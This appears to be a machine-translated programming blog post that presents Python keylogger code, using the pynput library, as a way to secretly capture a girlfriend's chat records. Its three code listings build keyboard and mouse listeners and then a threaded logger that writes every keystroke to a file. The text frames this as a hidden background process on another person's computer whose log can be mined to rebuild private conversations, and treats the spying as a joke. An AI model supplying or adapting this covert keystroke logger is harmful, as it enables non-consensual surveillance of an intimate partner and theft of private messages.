current position:Home>Get your girlfriend's chat records with Python and solve the paranoia with one move

Get your girlfriend's chat records with Python and solve the paranoia with one move

2022-01-30 02:46:44 Yunyun yyds

Little knowledge , Great challenge ! This article is participating in “ A programmer must have a little knowledge ” Creative activities .

Just the other day , My brother who slept in the upper bunk in College , Discuss in the brotherhood group , say : He found his girlfriend sitting in front of the computer after work these days , Not for work . And as soon as he gets closer, he will immediately exit the page , So he always doubted , Ask us about the single dogs in the group . Then the following dialogue appears .

 Insert picture description here

A friend : You ask directly . B friend : After your girlfriend slept , Secretly take the computer to check . C friend : Let's not hang from a tree , If something goes wrong, get out early . D friend : I think A No way , It's easy to scare the snake by asking directly , But he's so obvious in front of you , You can talk to him , Is there something wrong with your relationship . F friend : well , I'm not far away from you ? Send your girlfriend to your house , Help you get a chat record , Isn't that perfect ?

 Insert picture description here

1. Use pynput library

    pynput Can monitor our keyboard and mouse . At present, there are many libraries with such functions , such as pygame Wait for the game library , But when we only need to monitor the keyboard and mouse , They seem too bulky .

2. Monitor the keyboard

A background process is resident on his computer to monitor keyboard input and record it , The code can be like this :

from pynput import keyboard
 
 
def on_press(key):
    print(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
 
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
 Copy code 

Console printing :                   

 Insert picture description here

3. Monitor the mouse

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
 Copy code 

Console printing :                   

 Insert picture description here

You'll find that , Each print was printed twice , This is because pressing and lifting will trigger mouse events .

4. Monitor and log to log file

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
#  Define log files 
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
#  Definition f1 For threads 1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()
 
 
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')
 
#  Definition f2 For threads 2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
 
 
if __name__ == '__main__':
    #  Start two threads to monitor the keyboard and mouse respectively 
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
 Copy code 

Check the log content :   

 Insert picture description here

In this way, all keyboard operations have been recorded , Through a simple analysis of the log file NLTK language processing , You can restore your chat records . This record will not be shown to you , Belong to privacy , But I can tell you the result , Um. , In fact, his girlfriend is very good , Look, my brother in the upper bunk works late every time , I'm a little out of shape , But good face , So secretly buy him tonic online , Want to make up for him ~ Laugh to death  Insert picture description here

Your third company ( give the thumbs-up , Collection , Comment on ) It's the driving force I continue to output , thank .① Interesting source code and learning experience ,② Tool installation package ,③ Professional answers ,④ Learning materials sharing

Click to receive benefits

copyright notice
author[Yunyun yyds],Please bring the original link to reprint, thank you.
https://en.pythonmana.com/2022/01/202201300246432416.html

Random recommended